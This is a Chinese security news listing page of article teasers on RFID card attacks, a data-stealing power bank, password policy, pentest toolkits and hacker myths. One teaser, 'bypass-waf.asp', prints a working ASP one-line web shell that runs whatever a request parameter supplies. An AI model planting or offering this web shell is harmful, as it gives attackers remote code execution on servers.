简介 这是web渗透练习的第二篇文章，有关第一篇文章的翻译可以在这里查看：http://www.freebuf.com/articles/web/52413.html，原文在这里：http://r...
神兵利刃
神兵利刃
业界关注
RFID智能卡犯罪：小心你的社保卡、支付卡、交通卡
随着智能设备以及NFC的普及，用RFID卡支付变得越来越流行。现在的非接触式卡片（包括但不限于社保卡、饭卡、交通卡、门禁卡等）都是使用的RFID技术。与此同时，RFID智能卡也越来越受到攻击者的关注。...
业界关注
揭秘：充电宝是如何盗取你的个人隐私的？
中午吃完饭，看到一个微博中别人转的央视新闻《别被改装充电宝盗取隐私》觉得又是啥高大上的东西上了央视，看完后才知道是数字公司的某研究员做的伪装充电宝盗取隐私的玩意。 心里豁然开朗，原来这玩意也可以上央视...
网络安全
微软：暴力破解面前，增强密码复杂性基本没用
我们都痛恨密码，然而不幸的是在当下及可以看见的未来里，账户登录等在线认证操作的主要方法还是需要使用密码的。密码认证有时确实比较烦人，尤其是一些网站为了密码安全性，要求我们在设置密码时必须包含大小写字母...
神兵利刃
暗组2015最新渗透包
暗组2015扩展包：需要到论坛自行下载并添加即可： 暗组2015\Tools\安全检测\综合扫描\大型扫描器 暗组2015\Tools\安全检测\高级攻防\WinHac...
渗透测试软件:altman3
官方介绍： Altman3 免责申明：本程序仅供学习和研究！ 请使用者遵守国家相关法律法规！ 由于使用不当造成的后果本人不承担任何责任！ 介绍&nbs...
bypass-waf.asp
<%dim x1,x2x1 = request("pass")x2 = x1eval x2%> <!-- yes++ --><!-- 一句话 pass...
业界关注
射手网复活攻略：用百度快照和phantomjs让射手网复活
<imgsrc= title="sheshou.jpg"></imgsrc=>牢骚射手网关门了，声讨的话网上已经铺天盖地，我不想多啰嗦，我只说一句：某些部门...
网络安全
一个人的武林：渗透测试常规思路分析（一）|
写在前面 渗透测试是门技术，也是一门艺术。 这门技术（艺术）一开始也不是每个人都会的，正所谓没有人一出生就会走路，从不懂到入门到深谙，一步步慢慢来，每个人都是这样；但是在这个过程中，思路无疑是最重要的...
业界关注
走近科学：那些年，媒体笔下被夸大的黑客
“他们是黑客。在他们看来，攻破网站就好像在打电子游戏。选定目标网站，入侵你的网银账户，定位你的位置，扰乱毫不相干网民们的生活，他们无所不能”——这就是不少媒体笔下的黑客。 夸大式的报道成为了近几年来媒...
